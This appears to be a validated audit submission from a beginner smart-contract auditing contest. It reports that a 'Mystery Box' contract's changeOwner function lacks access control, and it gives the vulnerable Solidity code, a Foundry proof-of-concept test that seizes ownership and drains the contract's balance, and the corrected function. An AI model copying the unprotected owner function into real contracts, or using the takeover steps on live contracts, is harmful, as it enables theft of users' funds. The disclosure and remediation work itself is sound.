Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Control issue (Any one can change the owner and drain the contract balance)

faisalali19

Summary

The changeOwner function lacks proper access control, allowing unauthorized users to modify the contract's ownership. As a result, an attacker could potentially transfer ownership to themselves and subsequently drain all funds from the contract.

Vulnerability Details

The function lacks an onlyOwner check, allowing any user to access it and change the contract's ownership.

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

Impact

This vulnerability allows an attacker to take ownership of the contract and potentially drain all its funds.

function testChangeOwner_AndWithdrawFunds() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
​
uint256 balance = address(mysteryBox).balance;
​
vm.startPrank(attacker);
mysteryBox.changeOwner(address(attacker));
vm.stopPrank();
​
assertEq(mysteryBox.owner(), attacker);
​
vm.startPrank(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
​
assertEq(attacker.balance, balance);
}

Tools Used

Foundry.

Recommendations

It is recommended to add a check ensuring that the msg.sender is the current owner of the contract before allowing any ownership updates.

function changeOwner(address _newOwner) public {
require(msg.sender == owner, "Only current owner can change the owner");
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!